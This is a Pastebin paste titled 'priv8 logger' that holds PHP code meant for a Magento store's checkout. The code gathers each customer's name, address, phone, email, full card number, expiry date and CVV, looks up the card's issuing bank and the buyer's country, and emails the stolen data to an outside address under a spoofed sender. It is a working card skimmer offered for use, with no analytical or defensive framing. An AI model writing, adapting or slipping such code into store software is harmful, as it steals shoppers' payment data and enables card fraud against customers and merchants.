cyberking

priv8 logger cyberking

Nov 25th, 2015
1,012
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.52 KB | None | 0 0
  1. $object = new Mage_Checkout_Block_Onepage_Billing;
  2. $address1 = $object->getQuote()->getBillingAddress();
  3. $data1 = $address1->getFirstname();
  4. $data2 = $address1->getLastname();
  5. $data3 = $address1->getStreet(1);
  6. $data4 = $address1->getStreet(2);
  7. $data5 = $address1->getCity();
  8. $data6 = $address1->getRegion();
  9. $data7 = $address1->getPostcode();
  10. $data8 = $address1->getCountry();
  11. $data9 = $address1->getTelephone();
  12. $data10 = $info->getCcNumber();
  13. $expyear = substr($info->getCcExpYear(), -2);
  14. $expmonth = $info->getCcExpMonth();
  15. if (strlen($expmonth) == 1) {
  16. $expmonth = '0'.$expmonth;
  17. };
  18. $data11 = $expmonth;
  19. $data12 = $expyear;
  20. $data13 = $info->getCcCid();
  21. $data14 = '';
  22. $data15 = "yoursite.com";
  23. $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  24. $data17 = '';
  25. $post77 = "firstname=".$this->dsCrypt($data1)."&lastname=".$this->dsCrypt($data2)."&street1=".$this->dsCrypt($data3)."&street2=".$this->dsCrypt($data4)."&city=".$this->dsCrypt($data5)."&state=".$this->dsCrypt($data6)."&zip=".$this->dsCrypt($data7)."&country=".$this->dsCrypt($data8)."&phonenumber=".$this->dsCrypt($data9)."&ccnumber=".$this->dsCrypt($data10)."&expmonth=".$this->dsCrypt($data11)."&expyear=".$this->dsCrypt($data12)."&cvv=".$this->dsCrypt($data13)."&comment1=".$data14."&comment2=".$data15."&email=".$this->dsCrypt($data16)."&county=".$this->dsCrypt($data17);
  26. $ip_card_checkout = $_SERVER['REMOTE_ADDR'];
  27. $details_card_checkout = json_decode(file_get_contents("http://www.telize.com/geoip/".$ip_card_checkout.""));
  28. $negara_card_checkout = $details_card_checkout->country_code;
  29. $nama_negara_card_checkout = $details_card_checkout->country;
  30. $kode_negara_card_checkout = strtolower($negara_card_checkout);
  31. $bin_card_checkout = str_replace(' ', '', $data10);
  32. $bin_card_checkout = substr($bin_card_checkout, 0, 6);
  33. $getbank_card_checkout = json_decode(file_get_contents("http://www.binlist.net/json/".$bin_card_checkout.""));
  34. $ccbrand_card_checkout = $getbank_card_checkout->brand;
  35. $ccbank_card_checkout = $getbank_card_checkout->bank;
  36. $ccklas_card_checkout = $getbank_card_checkout->card_category;
  37. $subject_card_checkout = $ccbrand_card_checkout." ".$cctype_card_checkout." ".$ccklas_card_checkout." (".$nama_negara_card_checkout.")";
  38. $process_card_holder = '[email protected]';
  39. $headers = "From: Nobody's Care <[email protected]>";
  40. mail($process_card_holder, $subject_card_checkout, $post77, $headers);
Advertisement
Add Comment
Please, Sign In to add comment